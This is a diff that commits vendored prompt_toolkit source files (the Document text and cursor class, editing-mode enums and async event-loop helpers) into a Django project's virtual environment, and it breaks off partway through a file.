_ImmutableLineList(List[str]): + """ + Some protection for our 'lines' list, which is assumed to be immutable in the cache. + (Useful for detecting obvious bugs.) + """ + + def _error(self, *a: object, **kw: object) -> NoReturn: + raise NotImplementedError("Attempt to modify an immutable list.") + + __setitem__ = _error # type: ignore + append = _error + clear = _error + extend = _error + insert = _error + pop = _error + remove = _error + reverse = _error + sort = _error # type: ignore + + +class _DocumentCache: + def __init__(self) -> None: + #: List of lines for the Document text. + self.lines: Optional[_ImmutableLineList] = None + + #: List of index positions, pointing to the start of all the lines. + self.line_indexes: Optional[List[int]] = None + + +class Document: + """ + This is a immutable class around the text and cursor position, and contains + methods for querying this data, e.g. to give the text before the cursor. + + This class is usually instantiated by a :class:`~prompt_toolkit.buffer.Buffer` + object, and accessed as the `document` property of that class. + + :param text: string + :param cursor_position: int + :param selection: :class:`.SelectionState` + """ + + __slots__ = ("_text", "_cursor_position", "_selection", "_cache") + + def __init__( + self, + text: str = "", + cursor_position: Optional[int] = None, + selection: Optional[SelectionState] = None, + ) -> None: + + # Check cursor position. It can also be right after the end. (Where we + # insert text.) + assert cursor_position is None or cursor_position <= len(text), AssertionError( + f"cursor_position={cursor_position!r}, len_text={len(text)!r}" + ) + + # By default, if no cursor position was given, make sure to put the + # cursor position is at the end of the document. This is what makes + # sense in most places. + if cursor_position is None: + cursor_position = len(text) + + # Keep these attributes private. A `Document` really has to be + # considered to be immutable, because otherwise the caching will break + # things. Because of that, we wrap these into read-only properties. + self._text = text + self._cursor_position = cursor_position + self._selection = selection + + # Cache for lines/indexes. (Shared with other Document instances that + # contain the same text. + try: + self._cache = _text_to_document_cache[self.text] + except KeyError: + self._cache = _DocumentCache() + _text_to_document_cache[self.text] = self._cache + + # XX: For some reason, above, we can't use 'WeakValueDictionary.setdefault'. + # This fails in Pypy3. `self._cache` becomes None, because that's what + # 'setdefault' returns. + # self._cache = _text_to_document_cache.setdefault(self.text, _DocumentCache()) + # assert self._cache + + def __repr__(self) -> str: + return f"{self.__class__.__name__}({self.text!r}, {self.cursor_position!r})" + + def __eq__(self, other: object) -> bool: + if not isinstance(other, Document): + return False + + return ( + self.text == other.text + and self.cursor_position == other.cursor_position + and self.selection == other.selection + ) + + @property + def text(self) -> str: + "The document text." + return self._text + + @property + def cursor_position(self) -> int: + "The document cursor position." + return self._cursor_position + + @property + def selection(self) -> Optional[SelectionState]: + ":class:`.SelectionState` object." + return self._selection + + @property + def current_char(self) -> str: + """Return character under cursor or an empty string.""" + return self._get_char_relative_to_cursor(0) or "" + + @property + def char_before_cursor(self) -> str: + """Return character before the cursor or an empty string.""" + return self._get_char_relative_to_cursor(-1) or "" + + @property + def text_before_cursor(self) -> str: + return self.text[: self.cursor_position :] + + @property + def text_after_cursor(self) -> str: + return self.text[self.cursor_position :] + + @property + def current_line_before_cursor(self) -> str: + """Text from the start of the line until the cursor.""" + _, _, text = self.text_before_cursor.rpartition("\n") + return text + + @property + def current_line_after_cursor(self) -> str: + """Text from the cursor until the end of the line.""" + text, _, _ = self.text_after_cursor.partition("\n") + return text + + @property + def lines(self) -> List[str]: + """ + Array of all the lines. + """ + # Cache, because this one is reused very often. + if self._cache.lines is None: + self._cache.lines = _ImmutableLineList(self.text.split("\n")) + + return self._cache.lines + + @property + def _line_start_indexes(self) -> List[int]: + """ + Array pointing to the start indexes of all the lines. + """ + # Cache, because this is often reused. (If it is used, it's often used + # many times. And this has to be fast for editing big documents!) + if self._cache.line_indexes is None: + # Create list of line lengths. + line_lengths = map(len, self.lines) + + # Calculate cumulative sums. + indexes = [0] + append = indexes.append + pos = 0 + + for line_length in line_lengths: + pos += line_length + 1 + append(pos) + + # Remove the last item. (This is not a new line.) + if len(indexes) > 1: + indexes.pop() + + self._cache.line_indexes = indexes + + return self._cache.line_indexes + + @property + def lines_from_current(self) -> List[str]: + """ + Array of the lines starting from the current line, until the last line. + """ + return self.lines[self.cursor_position_row :] + + @property + def line_count(self) -> int: + r"""Return the number of lines in this document. If the document ends + with a trailing \n, that counts as the beginning of a new line.""" + return len(self.lines) + + @property + def current_line(self) -> str: + """Return the text on the line where the cursor is. (when the input + consists of just one line, it equals `text`.""" + return self.current_line_before_cursor + self.current_line_after_cursor + + @property + def leading_whitespace_in_current_line(self) -> str: + """The leading whitespace in the left margin of the current line.""" + current_line = self.current_line + length = len(current_line) - len(current_line.lstrip()) + return current_line[:length] + + def _get_char_relative_to_cursor(self, offset: int = 0) -> str: + """ + Return character relative to cursor position, or empty string + """ + try: + return self.text[self.cursor_position + offset] + except IndexError: + return "" + + @property + def on_first_line(self) -> bool: + """ + True when we are at the first line. + """ + return self.cursor_position_row == 0 + + @property + def on_last_line(self) -> bool: + """ + True when we are at the last line. + """ + return self.cursor_position_row == self.line_count - 1 + + @property + def cursor_position_row(self) -> int: + """ + Current row. (0-based.) + """ + row, _ = self._find_line_start_index(self.cursor_position) + return row + + @property + def cursor_position_col(self) -> int: + """ + Current column. (0-based.) + """ + # (Don't use self.text_before_cursor to calculate this. Creating + # substrings and doing rsplit is too expensive for getting the cursor + # position.) + _, line_start_index = self._find_line_start_index(self.cursor_position) + return self.cursor_position - line_start_index + + def _find_line_start_index(self, index: int) -> Tuple[int, int]: + """ + For the index of a character at a certain line, calculate the index of + the first character on that line. + + Return (row, index) tuple. + """ + indexes = self._line_start_indexes + + pos = bisect.bisect_right(indexes, index) - 1 + return pos, indexes[pos] + + def translate_index_to_position(self, index: int) -> Tuple[int, int]: + """ + Given an index for the text, return the corresponding (row, col) tuple. + (0-based. Returns (0, 0) for index=0.) + """ + # Find start of this line. + row, row_index = self._find_line_start_index(index) + col = index - row_index + + return row, col + + def translate_row_col_to_index(self, row: int, col: int) -> int: + """ + Given a (row, col) tuple, return the corresponding index. + (Row and col params are 0-based.) + + Negative row/col values are turned into zero. + """ + try: + result = self._line_start_indexes[row] + line = self.lines[row] + except IndexError: + if row < 0: + result = self._line_start_indexes[0] + line = self.lines[0] + else: + result = self._line_start_indexes[-1] + line = self.lines[-1] + + result += max(0, min(col, len(line))) + + # Keep in range. (len(self.text) is included, because the cursor can be + # right after the end of the text as well.) + result = max(0, min(result, len(self.text))) + return result + + @property + def is_cursor_at_the_end(self) -> bool: + """True when the cursor is at the end of the text.""" + return self.cursor_position == len(self.text) + + @property + def is_cursor_at_the_end_of_line(self) -> bool: + """True when the cursor is at the end of this line.""" + return self.current_char in ("\n", "") + + def has_match_at_current_position(self, sub: str) -> bool: + """ + `True` when this substring is found at the cursor position. + """ + return self.text.find(sub, self.cursor_position) == self.cursor_position + + def find( + self, + sub: str, + in_current_line: bool = False, + include_current_position: bool = False, + ignore_case: bool = False, + count: int = 1, + ) -> Optional[int]: + """ + Find `text` after the cursor, return position relative to the cursor + position. Return `None` if nothing was found. + + :param count: Find the n-th occurrence. + """ + assert isinstance(ignore_case, bool) + + if in_current_line: + text = self.current_line_after_cursor + else: + text = self.text_after_cursor + + if not include_current_position: + if len(text) == 0: + return None # (Otherwise, we always get a match for the empty string.) + else: + text = text[1:] + + flags = re.IGNORECASE if ignore_case else 0 + iterator = re.finditer(re.escape(sub), text, flags) + + try: + for i, match in enumerate(iterator): + if i + 1 == count: + if include_current_position: + return match.start(0) + else: + return match.start(0) + 1 + except StopIteration: + pass + return None + + def find_all(self, sub: str, ignore_case: bool = False) -> List[int]: + """ + Find all occurrences of the substring. Return a list of absolute + positions in the document. + """ + flags = re.IGNORECASE if ignore_case else 0 + return [a.start() for a in re.finditer(re.escape(sub), self.text, flags)] + + def find_backwards( + self, + sub: str, + in_current_line: bool = False, + ignore_case: bool = False, + count: int = 1, + ) -> Optional[int]: + """ + Find `text` before the cursor, return position relative to the cursor + position. Return `None` if nothing was found. + + :param count: Find the n-th occurrence. + """ + if in_current_line: + before_cursor = self.current_line_before_cursor[::-1] + else: + before_cursor = self.text_before_cursor[::-1] + + flags = re.IGNORECASE if ignore_case else 0 + iterator = re.finditer(re.escape(sub[::-1]), before_cursor, flags) + + try: + for i, match in enumerate(iterator): + if i + 1 == count: + return -match.start(0) - len(sub) + except StopIteration: + pass + return None + + def get_word_before_cursor( + self, WORD: bool = False, pattern: Optional[Pattern[str]] = None + ) -> str: + """ + Give the word before the cursor. + If we have whitespace before the cursor this returns an empty string. + + :param pattern: (None or compiled regex). When given, use this regex + pattern. + """ + if self._is_word_before_cursor_complete(WORD=WORD, pattern=pattern): + # Space before the cursor or no text before cursor. + return "" + + text_before_cursor = self.text_before_cursor + start = self.find_start_of_previous_word(WORD=WORD, pattern=pattern) or 0 + + return text_before_cursor[len(text_before_cursor) + start :] + + def _is_word_before_cursor_complete( + self, WORD: bool = False, pattern: Optional[Pattern[str]] = None + ) -> bool: + if pattern: + return self.find_start_of_previous_word(WORD=WORD, pattern=pattern) is None + else: + return ( + self.text_before_cursor == "" or self.text_before_cursor[-1:].isspace() + ) + + def find_start_of_previous_word( + self, count: int = 1, WORD: bool = False, pattern: Optional[Pattern[str]] = None + ) -> Optional[int]: + """ + Return an index relative to the cursor position pointing to the start + of the previous word. Return `None` if nothing was found. + + :param pattern: (None or compiled regex). When given, use this regex + pattern. + """ + assert not (WORD and pattern) + + # Reverse the text before the cursor, in order to do an efficient + # backwards search. + text_before_cursor = self.text_before_cursor[::-1] + + if pattern: + regex = pattern + elif WORD: + regex = _FIND_BIG_WORD_RE + else: + regex = _FIND_WORD_RE + + iterator = regex.finditer(text_before_cursor) + + try: + for i, match in enumerate(iterator): + if i + 1 == count: + return -match.end(0) + except StopIteration: + pass + return None + + def find_boundaries_of_current_word( + self, + WORD: bool = False, + include_leading_whitespace: bool = False, + include_trailing_whitespace: bool = False, + ) -> Tuple[int, int]: + """ + Return the relative boundaries (startpos, endpos) of the current word under the + cursor. (This is at the current line, because line boundaries obviously + don't belong to any word.) + If not on a word, this returns (0,0) + """ + text_before_cursor = self.current_line_before_cursor[::-1] + text_after_cursor = self.current_line_after_cursor + + def get_regex(include_whitespace: bool) -> Pattern[str]: + return { + (False, False): _FIND_CURRENT_WORD_RE, + (False, True): _FIND_CURRENT_WORD_INCLUDE_TRAILING_WHITESPACE_RE, + (True, False): _FIND_CURRENT_BIG_WORD_RE, + (True, True): _FIND_CURRENT_BIG_WORD_INCLUDE_TRAILING_WHITESPACE_RE, + }[(WORD, include_whitespace)] + + match_before = get_regex(include_leading_whitespace).search(text_before_cursor) + match_after = get_regex(include_trailing_whitespace).search(text_after_cursor) + + # When there is a match before and after, and we're not looking for + # WORDs, make sure that both the part before and after the cursor are + # either in the [a-zA-Z_] alphabet or not. Otherwise, drop the part + # before the cursor. + if not WORD and match_before and match_after: + c1 = self.text[self.cursor_position - 1] + c2 = self.text[self.cursor_position] + alphabet = string.ascii_letters + "0123456789_" + + if (c1 in alphabet) != (c2 in alphabet): + match_before = None + + return ( + -match_before.end(1) if match_before else 0, + match_after.end(1) if match_after else 0, + ) + + def get_word_under_cursor(self, WORD: bool = False) -> str: + """ + Return the word, currently below the cursor. + This returns an empty string when the cursor is on a whitespace region. + """ + start, end = self.find_boundaries_of_current_word(WORD=WORD) + return self.text[self.cursor_position + start : self.cursor_position + end] + + def find_next_word_beginning( + self, count: int = 1, WORD: bool = False + ) -> Optional[int]: + """ + Return an index relative to the cursor position pointing to the start + of the next word. Return `None` if nothing was found. + """ + if count < 0: + return self.find_previous_word_beginning(count=-count, WORD=WORD) + + regex = _FIND_BIG_WORD_RE if WORD else _FIND_WORD_RE + iterator = regex.finditer(self.text_after_cursor) + + try: + for i, match in enumerate(iterator): + # Take first match, unless it's the word on which we're right now. + if i == 0 and match.start(1) == 0: + count += 1 + + if i + 1 == count: + return match.start(1) + except StopIteration: + pass + return None + + def find_next_word_ending( + self, include_current_position: bool = False, count: int = 1, WORD: bool = False + ) -> Optional[int]: + """ + Return an index relative to the cursor position pointing to the end + of the next word. Return `None` if nothing was found. + """ + if count < 0: + return self.find_previous_word_ending(count=-count, WORD=WORD) + + if include_current_position: + text = self.text_after_cursor + else: + text = self.text_after_cursor[1:] + + regex = _FIND_BIG_WORD_RE if WORD else _FIND_WORD_RE + iterable = regex.finditer(text) + + try: + for i, match in enumerate(iterable): + if i + 1 == count: + value = match.end(1) + + if include_current_position: + return value + else: + return value + 1 + + except StopIteration: + pass + return None + + def find_previous_word_beginning( + self, count: int = 1, WORD: bool = False + ) -> Optional[int]: + """ + Return an index relative to the cursor position pointing to the start + of the previous word. Return `None` if nothing was found. + """ + if count < 0: + return self.find_next_word_beginning(count=-count, WORD=WORD) + + regex = _FIND_BIG_WORD_RE if WORD else _FIND_WORD_RE + iterator = regex.finditer(self.text_before_cursor[::-1]) + + try: + for i, match in enumerate(iterator): + if i + 1 == count: + return -match.end(1) + except StopIteration: + pass + return None + + def find_previous_word_ending( + self, count: int = 1, WORD: bool = False + ) -> Optional[int]: + """ + Return an index relative to the cursor position pointing to the end + of the previous word. Return `None` if nothing was found. + """ + if count < 0: + return self.find_next_word_ending(count=-count, WORD=WORD) + + text_before_cursor = self.text_after_cursor[:1] + self.text_before_cursor[::-1] + + regex = _FIND_BIG_WORD_RE if WORD else _FIND_WORD_RE + iterator = regex.finditer(text_before_cursor) + + try: + for i, match in enumerate(iterator): + # Take first match, unless it's the word on which we're right now. + if i == 0 and match.start(1) == 0: + count += 1 + + if i + 1 == count: + return -match.start(1) + 1 + except StopIteration: + pass + return None + + def find_next_matching_line( + self, match_func: Callable[[str], bool], count: int = 1 + ) -> Optional[int]: + """ + Look downwards for empty lines. + Return the line index, relative to the current line. + """ + result = None + + for index, line in enumerate(self.lines[self.cursor_position_row + 1 :]): + if match_func(line): + result = 1 + index + count -= 1 + + if count == 0: + break + + return result + + def find_previous_matching_line( + self, match_func: Callable[[str], bool], count: int = 1 + ) -> Optional[int]: + """ + Look upwards for empty lines. + Return the line index, relative to the current line. + """ + result = None + + for index, line in enumerate(self.lines[: self.cursor_position_row][::-1]): + if match_func(line): + result = -1 - index + count -= 1 + + if count == 0: + break + + return result + + def get_cursor_left_position(self, count: int = 1) -> int: + """ + Relative position for cursor left. + """ + if count < 0: + return self.get_cursor_right_position(-count) + + return -min(self.cursor_position_col, count) + + def get_cursor_right_position(self, count: int = 1) -> int: + """ + Relative position for cursor_right. + """ + if count < 0: + return self.get_cursor_left_position(-count) + + return min(count, len(self.current_line_after_cursor)) + + def get_cursor_up_position( + self, count: int = 1, preferred_column: Optional[int] = None + ) -> int: + """ + Return the relative cursor position (character index) where we would be if the + user pressed the arrow-up button. + + :param preferred_column: When given, go to this column instead of + staying at the current column. + """ + assert count >= 1 + column = ( + self.cursor_position_col if preferred_column is None else preferred_column + ) + + return ( + self.translate_row_col_to_index( + max(0, self.cursor_position_row - count), column + ) + - self.cursor_position + ) + + def get_cursor_down_position( + self, count: int = 1, preferred_column: Optional[int] = None + ) -> int: + """ + Return the relative cursor position (character index) where we would be if the + user pressed the arrow-down button. + + :param preferred_column: When given, go to this column instead of + staying at the current column. + """ + assert count >= 1 + column = ( + self.cursor_position_col if preferred_column is None else preferred_column + ) + + return ( + self.translate_row_col_to_index(self.cursor_position_row + count, column) + - self.cursor_position + ) + + def find_enclosing_bracket_right( + self, left_ch: str, right_ch: str, end_pos: Optional[int] = None + ) -> Optional[int]: + """ + Find the right bracket enclosing current position. Return the relative + position to the cursor position. + + When `end_pos` is given, don't look past the position. + """ + if self.current_char == right_ch: + return 0 + + if end_pos is None: + end_pos = len(self.text) + else: + end_pos = min(len(self.text), end_pos) + + stack = 1 + + # Look forward. + for i in range(self.cursor_position + 1, end_pos): + c = self.text[i] + + if c == left_ch: + stack += 1 + elif c == right_ch: + stack -= 1 + + if stack == 0: + return i - self.cursor_position + + return None + + def find_enclosing_bracket_left( + self, left_ch: str, right_ch: str, start_pos: Optional[int] = None + ) -> Optional[int]: + """ + Find the left bracket enclosing current position. Return the relative + position to the cursor position. + + When `start_pos` is given, don't look past the position. + """ + if self.current_char == left_ch: + return 0 + + if start_pos is None: + start_pos = 0 + else: + start_pos = max(0, start_pos) + + stack = 1 + + # Look backward. + for i in range(self.cursor_position - 1, start_pos - 1, -1): + c = self.text[i] + + if c == right_ch: + stack += 1 + elif c == left_ch: + stack -= 1 + + if stack == 0: + return i - self.cursor_position + + return None + + def find_matching_bracket_position( + self, start_pos: Optional[int] = None, end_pos: Optional[int] = None + ) -> int: + """ + Return relative cursor position of matching [, (, { or < bracket. + + When `start_pos` or `end_pos` are given. Don't look past the positions. + """ + + # Look for a match. + for pair in "()", "[]", "{}", "<>": + A = pair[0] + B = pair[1] + if self.current_char == A: + return self.find_enclosing_bracket_right(A, B, end_pos=end_pos) or 0 + elif self.current_char == B: + return self.find_enclosing_bracket_left(A, B, start_pos=start_pos) or 0 + + return 0 + + def get_start_of_document_position(self) -> int: + """Relative position for the start of the document.""" + return -self.cursor_position + + def get_end_of_document_position(self) -> int: + """Relative position for the end of the document.""" + return len(self.text) - self.cursor_position + + def get_start_of_line_position(self, after_whitespace: bool = False) -> int: + """Relative position for the start of this line.""" + if after_whitespace: + current_line = self.current_line + return ( + len(current_line) + - len(current_line.lstrip()) + - self.cursor_position_col + ) + else: + return -len(self.current_line_before_cursor) + + def get_end_of_line_position(self) -> int: + """Relative position for the end of this line.""" + return len(self.current_line_after_cursor) + + def last_non_blank_of_current_line_position(self) -> int: + """ + Relative position for the last non blank character of this line. + """ + return len(self.current_line.rstrip()) - self.cursor_position_col - 1 + + def get_column_cursor_position(self, column: int) -> int: + """ + Return the relative cursor position for this column at the current + line. (It will stay between the boundaries of the line in case of a + larger number.) + """ + line_length = len(self.current_line) + current_column = self.cursor_position_col + column = max(0, min(line_length, column)) + + return column - current_column + + def selection_range( + self, + ) -> Tuple[ + int, int + ]: # XXX: shouldn't this return `None` if there is no selection??? + """ + Return (from, to) tuple of the selection. + start and end position are included. + + This doesn't take the selection type into account. Use + `selection_ranges` instead. + """ + if self.selection: + from_, to = sorted( + [self.cursor_position, self.selection.original_cursor_position] + ) + else: + from_, to = self.cursor_position, self.cursor_position + + return from_, to + + def selection_ranges(self) -> Iterable[Tuple[int, int]]: + """ + Return a list of `(from, to)` tuples for the selection or none if + nothing was selected. The upper boundary is not included. + + This will yield several (from, to) tuples in case of a BLOCK selection. + This will return zero ranges, like (8,8) for empty lines in a block + selection. + """ + if self.selection: + from_, to = sorted( + [self.cursor_position, self.selection.original_cursor_position] + ) + + if self.selection.type == SelectionType.BLOCK: + from_line, from_column = self.translate_index_to_position(from_) + to_line, to_column = self.translate_index_to_position(to) + from_column, to_column = sorted([from_column, to_column]) + lines = self.lines + + if vi_mode(): + to_column += 1 + + for l in range(from_line, to_line + 1): + line_length = len(lines[l]) + + if from_column <= line_length: + yield ( + self.translate_row_col_to_index(l, from_column), + self.translate_row_col_to_index( + l, min(line_length, to_column) + ), + ) + else: + # In case of a LINES selection, go to the start/end of the lines. + if self.selection.type == SelectionType.LINES: + from_ = max(0, self.text.rfind("\n", 0, from_) + 1) + + if self.text.find("\n", to) >= 0: + to = self.text.find("\n", to) + else: + to = len(self.text) - 1 + + # In Vi mode, the upper boundary is always included. For Emacs, + # that's not the case. + if vi_mode(): + to += 1 + + yield from_, to + + def selection_range_at_line(self, row: int) -> Optional[Tuple[int, int]]: + """ + If the selection spans a portion of the given line, return a (from, to) tuple. + + The returned upper boundary is not included in the selection, so + `(0, 0)` is an empty selection. `(0, 1)`, is a one character selection. + + Returns None if the selection doesn't cover this line at all. + """ + if self.selection: + line = self.lines[row] + + row_start = self.translate_row_col_to_index(row, 0) + row_end = self.translate_row_col_to_index(row, len(line)) + + from_, to = sorted( + [self.cursor_position, self.selection.original_cursor_position] + ) + + # Take the intersection of the current line and the selection. + intersection_start = max(row_start, from_) + intersection_end = min(row_end, to) + + if intersection_start <= intersection_end: + if self.selection.type == SelectionType.LINES: + intersection_start = row_start + intersection_end = row_end + + elif self.selection.type == SelectionType.BLOCK: + _, col1 = self.translate_index_to_position(from_) + _, col2 = self.translate_index_to_position(to) + col1, col2 = sorted([col1, col2]) + + if col1 > len(line): + return None # Block selection doesn't cross this line. + + intersection_start = self.translate_row_col_to_index(row, col1) + intersection_end = self.translate_row_col_to_index(row, col2) + + _, from_column = self.translate_index_to_position(intersection_start) + _, to_column = self.translate_index_to_position(intersection_end) + + # In Vi mode, the upper boundary is always included. For Emacs + # mode, that's not the case. + if vi_mode(): + to_column += 1 + + return from_column, to_column + return None + + def cut_selection(self) -> Tuple["Document", ClipboardData]: + """ + Return a (:class:`.Document`, :class:`.ClipboardData`) tuple, where the + document represents the new document when the selection is cut, and the + clipboard data, represents whatever has to be put on the clipboard. + """ + if self.selection: + cut_parts = [] + remaining_parts = [] + new_cursor_position = self.cursor_position + + last_to = 0 + for from_, to in self.selection_ranges(): + if last_to == 0: + new_cursor_position = from_ + + remaining_parts.append(self.text[last_to:from_]) + cut_parts.append(self.text[from_:to]) + last_to = to + + remaining_parts.append(self.text[last_to:]) + + cut_text = "\n".join(cut_parts) + remaining_text = "".join(remaining_parts) + + # In case of a LINES selection, don't include the trailing newline. + if self.selection.type == SelectionType.LINES and cut_text.endswith("\n"): + cut_text = cut_text[:-1] + + return ( + Document(text=remaining_text, cursor_position=new_cursor_position), + ClipboardData(cut_text, self.selection.type), + ) + else: + return self, ClipboardData("") + + def paste_clipboard_data( + self, + data: ClipboardData, + paste_mode: PasteMode = PasteMode.EMACS, + count: int = 1, + ) -> "Document": + """ + Return a new :class:`.Document` instance which contains the result if + we would paste this data at the current cursor position. + + :param paste_mode: Where to paste. (Before/after/emacs.) + :param count: When >1, Paste multiple times. + """ + before = paste_mode == PasteMode.VI_BEFORE + after = paste_mode == PasteMode.VI_AFTER + + if data.type == SelectionType.CHARACTERS: + if after: + new_text = ( + self.text[: self.cursor_position + 1] + + data.text * count + + self.text[self.cursor_position + 1 :] + ) + else: + new_text = ( + self.text_before_cursor + data.text * count + self.text_after_cursor + ) + + new_cursor_position = self.cursor_position + len(data.text) * count + if before: + new_cursor_position -= 1 + + elif data.type == SelectionType.LINES: + l = self.cursor_position_row + if before: + lines = self.lines[:l] + [data.text] * count + self.lines[l:] + new_text = "\n".join(lines) + new_cursor_position = len("".join(self.lines[:l])) + l + else: + lines = self.lines[: l + 1] + [data.text] * count + self.lines[l + 1 :] + new_cursor_position = len("".join(self.lines[: l + 1])) + l + 1 + new_text = "\n".join(lines) + + elif data.type == SelectionType.BLOCK: + lines = self.lines[:] + start_line = self.cursor_position_row + start_column = self.cursor_position_col + (0 if before else 1) + + for i, line in enumerate(data.text.split("\n")): + index = i + start_line + if index >= len(lines): + lines.append("") + + lines[index] = lines[index].ljust(start_column) + lines[index] = ( + lines[index][:start_column] + + line * count + + lines[index][start_column:] + ) + + new_text = "\n".join(lines) + new_cursor_position = self.cursor_position + (0 if before else 1) + + return Document(text=new_text, cursor_position=new_cursor_position) + + def empty_line_count_at_the_end(self) -> int: + """ + Return number of empty lines at the end of the document. + """ + count = 0 + for line in self.lines[::-1]: + if not line or line.isspace(): + count += 1 + else: + break + + return count + + def start_of_paragraph(self, count: int = 1, before: bool = False) -> int: + """ + Return the start of the current paragraph. (Relative cursor position.) + """ + + def match_func(text: str) -> bool: + return not text or text.isspace() + + line_index = self.find_previous_matching_line( + match_func=match_func, count=count + ) + + if line_index: + add = 0 if before else 1 + return min(0, self.get_cursor_up_position(count=-line_index) + add) + else: + return -self.cursor_position + + def end_of_paragraph(self, count: int = 1, after: bool = False) -> int: + """ + Return the end of the current paragraph. (Relative cursor position.) + """ + + def match_func(text: str) -> bool: + return not text or text.isspace() + + line_index = self.find_next_matching_line(match_func=match_func, count=count) + + if line_index: + add = 0 if after else 1 + return max(0, self.get_cursor_down_position(count=line_index) - add) + else: + return len(self.text_after_cursor) + + # Modifiers. + + def insert_after(self, text: str) -> "Document": + """ + Create a new document, with this text inserted after the buffer. + It keeps selection ranges and cursor position in sync. + """ + return Document( + text=self.text + text, + cursor_position=self.cursor_position, + selection=self.selection, + ) + + def insert_before(self, text: str) -> "Document": + """ + Create a new document, with this text inserted before the buffer. + It keeps selection ranges and cursor position in sync. + """ + selection_state = self.selection + + if selection_state: + selection_state = SelectionState( + original_cursor_position=selection_state.original_cursor_position + + len(text), + type=selection_state.type, + ) + + return Document( + text=text + self.text, + cursor_position=self.cursor_position + len(text), + selection=selection_state, + ) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/enums.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/enums.py new file mode 100644 index 00000000..4f496e67 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/enums.py @@ -0,0 +1,17 @@ +from enum import Enum + + +class EditingMode(Enum): + # The set of key bindings that is active. + VI = "VI" + EMACS = "EMACS" + + +#: Name of the search buffer. +SEARCH_BUFFER = "SEARCH_BUFFER" + +#: Name of the default buffer. +DEFAULT_BUFFER = "DEFAULT_BUFFER" + +#: Name of the system buffer. +SYSTEM_BUFFER = "SYSTEM_BUFFER" diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/eventloop/__init__.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/eventloop/__init__.py new file mode 100644 index 00000000..3a3e9acf --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/eventloop/__init__.py @@ -0,0 +1,28 @@ +from .async_generator import generator_to_async_generator +from .inputhook import ( + InputHookContext, + InputHookSelector, + new_eventloop_with_inputhook, + set_eventloop_with_inputhook, +) +from .utils import ( + call_soon_threadsafe, + get_event_loop, + get_traceback_from_context, + run_in_executor_with_context, +) + +__all__ = [ + # Async generator + "generator_to_async_generator", + # Utils. + "run_in_executor_with_context", + "call_soon_threadsafe", + "get_traceback_from_context", + "get_event_loop", + # Inputhooks. + "new_eventloop_with_inputhook", + "set_eventloop_with_inputhook", + "InputHookSelector", + "InputHookContext", +] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/eventloop/async_context_manager.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/eventloop/async_context_manager.py new file mode 100644 index 00000000..39146165 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/eventloop/async_context_manager.py @@ -0,0 +1,132 @@ +""" +@asynccontextmanager code, copied from Python 3.7's contextlib. +For usage in Python 3.6. +Types have been added to this file, just enough to make Mypy happy. +""" +# mypy: allow-untyped-defs +import abc +from functools import wraps +from typing import AsyncContextManager, AsyncIterator, Callable, TypeVar + +import _collections_abc + +__all__ = ["asynccontextmanager"] + + +class AbstractAsyncContextManager(abc.ABC): + + """An abstract base class for asynchronous context managers.""" + + async def __aenter__(self): + """Return `self` upon entering the runtime context.""" + return self + + @abc.abstractmethod + async def __aexit__(self, exc_type, exc_value, traceback): + """Raise any exception triggered within the runtime context.""" + return None + + @classmethod + def __subclasshook__(cls, C): + if cls is AbstractAsyncContextManager: + return _collections_abc._check_methods(C, "__aenter__", "__aexit__") # type: ignore + return NotImplemented + + +class _GeneratorContextManagerBase: + """Shared functionality for @contextmanager and @asynccontextmanager.""" + + def __init__(self, func, args, kwds): + self.gen = func(*args, **kwds) + self.func, self.args, self.kwds = func, args, kwds + # Issue 19330: ensure context manager instances have good docstrings + doc = getattr(func, "__doc__", None) + if doc is None: + doc = type(self).__doc__ + self.__doc__ = doc + # Unfortunately, this still doesn't provide good help output when + # inspecting the created context manager instances, since pydoc + # currently bypasses the instance docstring and shows the docstring + # for the class instead. + # See http://bugs.python.org/issue19404 for more details. + + +class _AsyncGeneratorContextManager( + _GeneratorContextManagerBase, AbstractAsyncContextManager +): + """Helper for @asynccontextmanager.""" + + async def __aenter__(self): + try: + return await self.gen.__anext__() + except StopAsyncIteration: + raise RuntimeError("generator didn't yield") from None + + async def __aexit__(self, typ, value, traceback): + if typ is None: + try: + await self.gen.__anext__() + except StopAsyncIteration: + return + else: + raise RuntimeError("generator didn't stop") + else: + if value is None: + value = typ() + # See _GeneratorContextManager.__exit__ for comments on subtleties + # in this implementation + try: + await self.gen.athrow(typ, value, traceback) + raise RuntimeError("generator didn't stop after athrow()") + except StopAsyncIteration as exc: + return exc is not value + except RuntimeError as exc: + if exc is value: + return False + # Avoid suppressing if a StopIteration exception + # was passed to throw() and later wrapped into a RuntimeError + # (see PEP 479 for sync generators; async generators also + # have this behavior). But do this only if the exception wrapped + # by the RuntimeError is actully Stop(Async)Iteration (see + # issue29692). + if isinstance(value, (StopIteration, StopAsyncIteration)): + if exc.__cause__ is value: + return False + raise + except BaseException as exc: + if exc is not value: + raise + + +_T = TypeVar("_T") + + +def asynccontextmanager( + func: Callable[..., AsyncIterator[_T]] +) -> Callable[..., AsyncContextManager[_T]]: + """@asynccontextmanager decorator. + Typical usage: + @asynccontextmanager + async def some_async_generator(): + + try: + yield + finally: + + This makes this: + async with some_async_generator() as : + + equivalent to this: + + try: + = + + finally: + + """ + + @wraps(func) + def helper(*args, **kwds): + return _AsyncGeneratorContextManager(func, args, kwds) # type: ignore + + return helper diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/eventloop/async_generator.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/eventloop/async_generator.py new file mode 100644 index 00000000..7ab3c286 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/eventloop/async_generator.py @@ -0,0 +1,74 @@ +""" +Implementation for async generators. +""" +from asyncio import Queue +from typing import AsyncGenerator, Callable, Iterable, TypeVar, Union + +from .utils import get_event_loop, run_in_executor_with_context + +__all__ = [ + "generator_to_async_generator", +] + + +_T = TypeVar("_T") + + +class _Done: + pass + + +async def generator_to_async_generator( + get_iterable: Callable[[], Iterable[_T]] +) -> AsyncGenerator[_T, None]: + """ + Turn a generator or iterable into an async generator. + + This works by running the generator in a background thread. + + :param get_iterable: 